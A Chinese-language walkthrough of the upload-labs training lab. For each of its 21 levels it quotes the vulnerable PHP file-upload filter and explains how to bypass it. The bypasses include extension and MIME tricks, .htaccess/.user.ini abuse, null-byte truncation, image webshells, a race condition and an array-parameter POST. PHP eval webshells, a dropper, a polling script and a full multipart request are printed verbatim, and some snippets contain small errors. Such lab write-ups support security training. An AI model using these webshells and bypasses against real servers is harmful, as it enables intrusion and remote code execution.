pass-01
前端js过滤
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
var allow_ext = ".jpg|.png|.gif";
var ext_name = file.substring(file.lastIndexOf("."));
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
最简单的
burp抓包改后缀
pass-02
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
用if函数结合$_FILES['myfile']['type'] 判断MIME类型
后端改content-type
将application/octect-stream 变为image/jpeg、image/png或image/gif
pass-03
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
他经过了许多步
但其实他只匹配了$deny_ext = array('.asp','.aspx','.php','.jsp');
修改为php1,php2,php3,php4,php5,phtml等 与php解析相同的后缀皆可
pass-04
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这回匹配的倒挺多
不过配置文件没过滤
上传.htaccess文件
写入下面两句中的一句即可
第一句是全按php解析
第二句是将jpg按php解析
SetHandler application/x-httpd-php
AddType application/x-https-php .jpg
pass-05
和第4关类似
写入.user.ini文件
auto_prepend_file=shell.jpg
再配合shell
pass-06
这一关源码补上了之前漏网的配置文件
但是这里可以使用大小写绕过
例如.Php
pass-07
这里补了一句
$file_ext = strtolower($file_ext);
没法大小写绕过了
这里通过补空格来绕过
.php (空格)
pass-08
这里补了句首位去空
$file_ext = trim($file_ext);
这次用 . 绕过
.php.
和上面一样
后面的空格和 . 会被服务器自动删除
pass-09
这里补了
$file_name = deldot($file_name);
比之前少了一句
$file_ext = str_ireplace('::$DATA', '', $file_ext);
使用
.php::$DATA
pass-10
这里补回了::$DATA仔细看这里过滤的顺序
$deny_ext=array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
仔细看这里过滤的顺序
先去的点然后去的空
于是可以
.php. .
过滤后剩下
.php.
pass-11
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这里用trim函数删去通过$_FILES['upload_ext']['tmp_name'] 得到的浏览器通过报文传过来的在burpsuite中的变量名是filename的字符串左右两边的空格 这就省了几步过滤
但是下面这句
$file_name = str_ireplace($deny_ext,"", $file_name);
是匹配到黑名单后替换成空
于是这里可以双写绕过
.pphphp
pass-12
这次使用了白名单过滤
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
讲一下00截断的原理,在服务器读到十六进制编码为00时就会停止读取,而save_path是通过GET传参的00的GET传参的数据最终都会经过URL解码而%00解码之后就是十六进制对应的00,这就导致move_uploaded_file函数会读到00就结束从而上传成功
.php%00
pass-13
代码和十二关一样,只是save_path改用POST传参了
burpsuite自带的16进制编辑器改16进制
找到文件名后缀后面的0被改为00
pass-14
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2);
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
这里本质上是检验的文件头
只要做个文件头正确的图片🐎即可
pass-15
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
这里上传图片🐎即可
pass-16
$image_type = exif_imagetype($filename);
这里的函数替代15关的
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
还是图片🐎即可
pass-17
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
$fileext= substr(strrchr($filename,"."),1);
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
srand(time());
$newfilename = strval(rand()).".jpg";
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
srand(time());
$newfilename = strval(rand()).".png";
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
srand(time());
$newfilename = strval(rand()).".gif";
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
这里进行了许多步过滤
简单总结下主要的就是
- 对gif、png或jpg文件的格式进行二次渲染
- 根据上传的文件类型用imagecreatefromgif这一类的函数生成一个新的图片
- 将原本保存下的文件用unlink函数删除
据师傅说直接用cmd命令行copy的文件也能成功上传
也可以用010editor比较二次渲染前后的图片
蓝色的部分是未被改变的
可以在那里插入🐎
pass-18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
这里过滤的挺充分的
不过黑客大佬们还是有方法
原理简单来说是
- 文件上传后到原文件被删除有一段时间
- 利用这段时间 重复发送写入木马的木马
- 然后不停访问原文件
- 访问成功后 木马也就被重新写入
写入木马的木马
<?php puts(fopen('shell.php','r+'),'<? @eval($_POST['shell']);?>');?>
重复发送利用burp实现
- 用burpsuite抓包
- 调用intruder模块
- 打开payload板块设置payload type为null payloads
- 点击下方的continue indefinitely
连续访问利用脚本实现
import requests
url = "http://127.0.0.1/upload-labs/upload/shell.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("success")
break
else
print("200")
pass-19
这一关和上面很像
不过python连续访问的url要变成
127.0.0.1/upload-labs-master/include.php?file=upload/shell.jpg
pass-20
这关绕过方法用之前的.php. 就可以
不过这关和之前有个很明显的区别
做了个保存名称的input
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
pass-21
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
- 验证上传路径是否存在验证[‘upload_file’]的content-type是否合法(可以抓包修改)
- 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
- 判断file不是数组则使用explode(’.’, strtolower($file))对file进行切割,将file变为一个数组
- 判断数组最后一个元素是否合法
- 数组第一位和
$file[count($file) - 1] 进行拼接,产生保存文件名file_name - 上传文件
这里可以用00截断
也可以用数组绕过
post包
-----------------------------131314876217456529963542266439
Content-Disposition: form-data; name="upload_file"; filename="yijuhua.php"
Content-Type: image/png
<?php @eval($_POST['hack']);?>
-----------------------------131314876217456529963542266439
Content-Disposition: form-data; name="save_name[0]"
upload-20.php
-----------------------------131314876217456529963542266439
Content-Disposition: form-data; name="save_name[2]"
jpg
-----------------------------131314876217456529963542266439
Content-Disposition: form-data; name="submit"
上传
-----------------------------131314876217456529963542266439--
|